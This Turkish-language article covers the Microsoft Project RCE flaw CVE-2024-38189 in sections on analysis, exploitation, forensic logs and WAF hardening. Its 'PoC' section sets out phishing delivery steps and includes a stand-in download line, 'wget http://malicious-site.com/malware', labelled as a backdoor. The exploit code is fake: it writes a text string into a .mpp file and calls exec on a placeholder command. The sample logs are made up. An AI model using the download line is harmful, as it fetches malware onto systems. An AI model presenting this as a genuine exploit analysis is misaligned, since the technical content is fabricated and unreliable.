CVE-2024-38189: Microsoft Project Remote Code Execution Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

Microsoft Project'in kritik bir zafiyet ile karşı karşıya olduğu gözlemlenmiştir. Bu zafiyet, CVE-2024-38189 olarak adlandırılmaktadır ve bir uzak kod yürütme zafiyeti (Remote Code Execution - RCE) olarak tanımlanmaktadır. Microsoft Project, proje yönetimi ve planlama konusunda yaygın olarak kullanılan bir yazılımdır ve bu zafiyet, kötü niyetli bir dosya aracılığıyla etkinleştirilebilmektedir. Bu tür bir zafiyet, kullanıcıların bilgisayarlarına sızmak için bir saldırganın kötü niyetli kodu çalıştırmasına neden olabilir ki bu da oldukça tehlikelidir.

Zafiyetin kaynağı, Microsoft Project uygulamasının belirli bir kütüphanesine yerleşmiş olan hatalı bir işlevsellikten kaynaklanmaktadır. Açık bir açıklama ile birlikte Microsoft, zafiyetin hangi kütüphanede meydana geldiğine dair kesin bir bilgi vermemiştir. Ancak, bu tür RCE zafiyetleri genellikle dosya işlemleri, veri doğrulama eksiklikleri ve bellek yönetimi hatalarıyla ilişkilidir. Özellikle, dosya açma ve işleme yeteneklerinin zayıflığı, kötü niyetli bir kullanıcının belirli bir dosya biçimi üzerinden sistem erişimi sağlamasına olanak tanır. Bu durumda, bir saldırgan, kullanıcıdan gizlice bir dosya yükleyebilir ve bunun sonucunda hedef makinelerde uzaktan kod çalıştırabilir.

Dünya genelindeki etkileri oldukça geniş olan bu zafiyet, birçok sektörü tehdit etmektedir. Özellikle proje yönetimi, inşaat, mühendislik ve finans gibi alanlar, Microsoft Project'i sıkça kullandığı için bu tür zafiyetlerden doğrudan etkilenebilir. Kurumlar, bu yazılımı kullanarak kritik projeler üzerinde çalıştıkları için, kötü niyetli kullanıcıların bu zafiyeti kullanarak verilere erişmesi, iş sürekliliğini tehlikeye atmaktadır. Özellikle sağlık sektörü ve kamu kurumları, önemli datalar içerdikleri için dikkat edilmesi gereken hedeflerdir.

Gerçek dünya senaryolarına gelecek olursak, bir çalışan, bir e-posta ile gelen kötü niyetli bir dosyayı açtığında RCE (Uzak Kod Yürütme) zafiyeti devreye girebilir. Bu durumda, saldırgan sistemi kontrol altına almak için çeşitli komutlar gönderebilir ve hassas bilgileri çalabilir. Dolayısıyla, Microsoft Project kullanıcılarının dikkatli olmaları ve güvenlik protokollerini uygulamaları hayati önem taşımaktadır.

def malicious_code_execution():
    # Kötü niyetli kodun yürütülmesi
    exec("os.system('malicious_command')")
malicious_code_execution()

Yukarıdaki kod örneği, bir RCE durumunun nasıl çalışabileceğine dair basit bir gösterimdir. Burada, bir saldırgan uzaktan bir komut yürütmekte ve sistemde zararlı bir işlem gerçekleştirmektedir. Bu nedenle, kullanıcıların bu gibi zafiyetlerden korunmak için güncellemeleri takip etmeleri ve güvenlik yazılımlarını etkin bir şekilde kullanmaları önerilmektedir.

Sonuç olarak, CVE-2024-38189 zafiyeti, Microsoft Project kullanıcılarını hedef alan potansiyel bir tehdit oluşturmaktadır. Kullanıcıların, güvenlik açıklarını önceden tespit etmeleri ve yapacakları güncellemeleri dikkate almaları, siber güvenlik risklerini minimize etmek adına son derece önemlidir. White Hat Hacker perspektifinden bakıldığında, her kullanıcının bu tür zafiyetler hakkında bilgi sahibi olması ve bu bilgiyi güvenlik önlemleri almak için kullanması kritik bir gerekliliktir.

Teknik Sömürü (Exploitation) ve PoC

Microsoft Project Remote Code Execution (RCE) zafiyeti, kötü niyetli bir dosyayı açan kullanıcılar üzerinden potansiyel olarak uzaktan kod çalıştırılmasına olanak tanıyan ciddi bir güvenlik açığıdır. Bu zafiyetin teknik detaylarına inmeye ve sömürü sürecini adım adım ele almaya çalışacağız.

Zafiyetin sömürülebildiği bir gerçek dünya senaryosu düşünelim: Bir kurum, Microsoft Project üzerinde projelerini yönetiyor ve çalışanların çeşitli dosyalar üzerinde çalışmasına izin veriyor. Kötü amaçlı bir kullanıcı, hali hazırda zararlı kod içeren bir .mpp dosyası (Microsoft Project dosya uzantısı) oluşturabilir. Kullanıcı, bu dosyayı kurumdaki hedef kullanıcıya e-posta ile gönderir veya doğrudan paylaşılan bir klasöre yükleyebilir. Hedef kullanıcı, bilmeden bu dosyayı açtığında, zafiyet sayesinde kötü niyetli kod çalıştırılmış olur.

Sömürü sürecinin adımları aşağıdaki şekilde sıralanabilir:

Zafiyetin Tespiti: İlk olarak, Microsoft Project yazılımının güncel sürümünü kullanıp kullanmadığınızı kontrol edin. Zafiyetin etkili olması için, hedef sistemin zayıf bir sürümde olması gerekmektedir. Örneğin, CVE-2024-38189'un etkilendiği sürümler listelenmelidir.
Kötü Amaçlı Dosyanın Oluşturulması: Kötü niyetli kullanıcının, Microsoft Project formatında bir dosya hazırlaması gerekecek. Bu dosya, belirli bir hatadan yararlanarak, kodun hedef sistemde çalıştırılmasını sağlayacak şekilde tasarlanmalıdır. İşte basit bir örnek:

   # Kötü niyetli kodun yerleştirildiği kısım
   malicious_code = "execute_malicious_payload()"
   project_file_content = f"&lt;Project&gt;{malicious_code}&lt;/Project&gt;"

   with open("malicious_project_file.mpp", "w") as file:
       file.write(project_file_content)

Dosyanın Hedefe Ulaştırılması: Hazırlanan bu dosya, kurtulması zor bir yolla hedef kullanıcıya ulaştırılmalıdır. Bu, sosyal mühendislik teknikleri veya phishing e-postaları kullanılarak yapılabilir.
Zafiyetin İstismar Edilmesi: Hedef kullanıcı, kötü niyetli dosyayı açtığında, Microsoft Project uygulaması arka planda gizli bir işlem başlatır. Bu işlem, zafiyetten yararlanarak sahte kodu çalıştırır. Kullanıcı, bu durumun farkında olmayacaktır, bu da RCE (uzaktan kod çalıştırma) olanağını sağlıyordur.
Zafiyet Sonrası Eylemler: Kötü niyetli kod çalıştırıldıktan sonra, saldırgan, sistemde daha fazla kontrol elde etmek için çeşitli yöntemler kullanabilir. Bu, arka kapı kurma veya hassas verileri çalmak şeklinde olabilir. İşte bu amaçla basit bir örnek:

   import os

   # Arka kapı olarak çalışacak bir komut:
   os.system("wget http://malicious-site.com/malware")

Bu aşamalardan her birinin detayları dikkate alındığında, zafiyetin etkilerinin ne denli ciddi olabileceği anlaşılmaktadır. Burada anlatılan sömürü teknikleri, yalnızca eğitim amacı taşımakta ve bu bilgilerin kötüye kullanılmaması gerektiği önemle vurgulanmalıdır.

Microsoft Proje yazılımının bu tür zafiyetlere karşı güncellenmesi son derece kritiktir. Yazılım güncellemeleri, genellikle güvenlik açıklarını kapatırken, kullanıcıların da dikkatli olması ve sadece güvenilir kaynaklardan dosya alması gerektiğini unutmamalıyız.

Forensics (Adli Bilişim) ve Log Analizi

Microsoft Project'taki CVE-2024-38189 zafiyeti, kötü niyetli bir dosya aracılığıyla uzaktan kod çalıştırma (Remote Code Execution - RCE) olanağı sağlayan önemli bir güvenlik açığıdır. Bu tür zafiyetler, siber saldırganların sistem üzerinde kontrol elde etmelerine olanak tanır. Bu bağlamda, bir adli bilişim (forensics) uzmanı olarak bu tür bir saldırının tespitinde ve analizinde dikkat edilmesi gereken temel noktaları inceleyeceğiz.

Öncelikle, bir siber saldırının meydana geldiğini belirlemek için kullanılan en önemli araçlardan biri SIEM (Security Information and Event Management) sistemleridir. Bir uzman, Microsoft Project uygulamasıyla ilgili log dosyalarını incelediğinde, dikkat etmesi gereken bazı kritik imzalar vardır. Özellikle Access logları ve Error logları, bu tür saldırıların tespit edilmesinde büyük bir rol oynar.

Örneğin, kötü niyetli bir kullanıcının Microsoft Project dosyasını kötü amaçlı olarak değiştirmesi durumunda, Access loglarında şüpheli bir yükleme veya dosya erişim kaydı bulunabilir. Aşağıdaki gibi bir kayıt, potansiyel bir tehditin alarmına yol açabilir:

2024-10-01 10:23:45 INFO User1 accessed malicious_project_file.mpp from IP 192.168.1.10

Bu tür bir erişim kaydı, özellikle tanınmayan IP adreslerinden gelen dosya talepleri açısından incelenmelidir. Adli bilişim uzmanları, belirli IP adreslerinin veya kullanıcıların sistemde daha önce hiç görülmemiş aktivitelerde bulunduğundan emin olduklarında, bunları hızlı bir şekilde incelemelidir.

Error logları da kritik bilgiler sağlar. Microsoft Project'ta, kötü niyetli bir dosya çalıştırılmaya çalışıldığında, uygulama hata mesajları üretebilir. Bu mesajlar, sistemin beklenmeyen bir yapı ile karşılaştığını ve bu nedenle bazı işlevleri yerine getiremeyebileceğini gösterir. Örneğin:

2024-10-01 10:24:00 ERROR Application failed to execute file due to buffer overflow.

Bu tür hatalar, uygulamanın beklenmedik bir şekilde devre dışı kalmasına veya bazı işlemleri yerine getirememesine neden olabilir ve bunun açık bir işareti olabilir.

Adli bilişim uzmanları, bu tür log dosyalarını analiz ederken aşağıdaki adımları izlemelidir:

Log Analizi: İlk olarak, sistemdeki tüm log dosyalarını gözden geçirin. Özellikle Access ve Error loglarında şüpheli aktiviteleri belirleyin.
Erişim Talepleri: Tanınmamış IP adreslerinden gelen veya olağandışı dosya erişim taleplerini kontrol edin. Birden fazla kullanıcı aynı dosyayı sorguluyorsa, bu durumu incelemek önemlidir.
Hata Mesajları: Uygulama üzerinde meydana gelen hata mesajlarını inceleyin. RCE (uzaktan kod çalıştırma) veya buffer overflow gibi hata türleri arayın.
Kötü Amaçlı Dosyaların Tespiti: Belirli dosya uzantılarına odaklanın. Kötü amaçlı dosyalar genellikle belirli uzantılara sahip olabilir. Microsoft Project ile ilişkili dosya uzantılarını (örneğin, .mpp dosyaları) analiz edin.
Saldırı İzleri: Saldırının izlerini takip edin. Kötü niyetli bir dosya çalıştırıldığında, sistemde belirli değişiklikler meydana gelebilir. Bu değişiklikleri ve sistem üzerinde ne tür olayların gerçekleştiğini izlemek için dosya bütünlüğü izleme araçları kullanılabilir.

Sonuç olarak, CVE-2024-38189 gibi zafiyetler, siber güvenlik alanında dikkate alınması gereken önemli tehditlerdir. Bir adli bilişim uzmanı, bu tür zafiyetleri tespit etmek için log analizi ve veri incelemesi yaparak potansiyel tehditleri belirleyebilir. Zafiyetin dinamiklerini anlamak ve tespit yöntemlerini geliştirmek, siber saldırılara karşı önleyici bir yaklaşım oluşturulmasına katkı sağlayacaktır.

Savunma ve Sıkılaştırma (Hardening)

Microsoft Project, yaygın olarak kullanılan bir proje yönetim aracı olup, içerisindeki bir zafiyet (CVE-2024-38189) potansiyel olarak uzaktan kod yürütme (Remote Code Execution - RCE) saldırılarına kapı aralamaktadır. Bu tür bir saldırı, bir saldırganın kötü niyetli bir dosya aracılığıyla hedef sistemde istedikleri kodu çalıştırabilmesine olanak tanır. Gelişmiş tehditlerin yaygınlaştığı bu dijital dönemde, bu tür zafiyetleri önlemek için uygun savunma ve sıkılaştırma (hardening) önlemleri almak son derece önemlidir.

Öncelikle, Microsoft Project uygulamanızın güncel olup olmadığını kontrol edin. Microsoft, sık sık yazılımlarının güvenlik açıklarına yönelik güncellemeler ve yamalar yayınlamaktadır. Bu nedenle, güncellemeleri düzenli olarak kontrol etmek ve mümkünse otomatik güncelleme seçeneklerini etkinleştirmek kritik bir adımdır.

Kötü niyetli dosyalar genellikle e-posta ekleri veya dosya paylaşım platformları aracılığıyla dağıtılmaktadır. Bu nedenle, e-posta filtreleme sisteminizin yapılandırmasını gözden geçirmeniz önemlidir. Özellikle, kullanıcıların alabileceği dosya türlerini sınırlandırarak, yalnızca güvenilir kaynaklardan gelen dosyaların kabul edilmesini sağlamalısınız. Örneğin, exe, bat veya diğer zararlı olabilecek uzantılara sahip dosyaların engellenmesi faydalı olacaktır.

Firewall (güvenlik duvarı) yapılandırmanıza ek olarak, web uygulama güvenlik duvarı (WAF) kullanmanız da önerilir. Bu tür güvenlik çözümleri, genel olarak HTTP trafiğini inceleyerek potansiyel olarak zararlı yükleri tespit edebilir. Örneğin, WAF kurallarınızı aşağıdaki gibi yapılandırarak zafiyetin etkisini azaltabilirsiniz:

SecRule REQUEST_FILENAME "@endsWith .mpp" "id:1001,phase:1,block,msg:'Malicious Microsoft Project File Detected'"
SecRule REQUEST_HEADERS:User-Agent "MaliciousAgent" "id:1002,phase:1,deny,status:403,msg:'Blocked due to suspicious user agent'"

Bu kurallarla, belirli dosya türlerini engelleyebilir ve zararlı kullanıcı ajanlarını (User Agent) tanımlayarak önleyici bir tedbir alabilirsiniz.

Kalıcı sıkılaştırma önlemleri arasında, Microsoft Project’ı çalıştıran sistemlerde kullanıcı haklarını minimize etmek yer alır. Kullanıcıların yalnızca ihtiyaç duydukları izinlere sahip olmalarını sağlamalı ve gereksiz ayrıcalıkları kaldırmalısınız. Ayrıca, donanım ve yazılım güvenliğini artırmak için antivirüs çözümlerini güncel tutmak ve uygun kapsamda tarama düzenlemek de önemlidir.

Gerçek dünya senaryoları, zafiyetlerin nasıl kullanıcı ve organizasyonlar üzerinde ciddi etkilere yol açabileceğini göstermektedir. Örneğin, bir proje yöneticisinin e-postasıyla gönderilen kötü amaçlı bir dosyanın açılması durumunda, saldırgan sistem üzerinde tam kontrol sağlamış olabilir. Hedeflenen dosya açıldığında, işletim sisteminde zararlı yazılım çalıştırılabilir veya veriler çalınabilir. Dolayısıyla, yukarıda belirtilen sıkılaştırma yöntemleriyle bu tür riskleri azaltmak kritik bir öneme sahiptir.

Sonuç itibarıyla, Microsoft Project içerisindeki CVE-2024-38189 zafiyetine karşı savunma ve sıkılaştırma stratejilerini etkin bir şekilde uygulamak, uzaktan kod yürütme (RCE) riskini minimize edecek ve sisteminizi koruyacaktır. Bu konudaki önlemleriniz ne kadar kapsamlı olursa, potansiyel tehditleri de o kadar etkili bir şekilde engelleyebilirsiniz.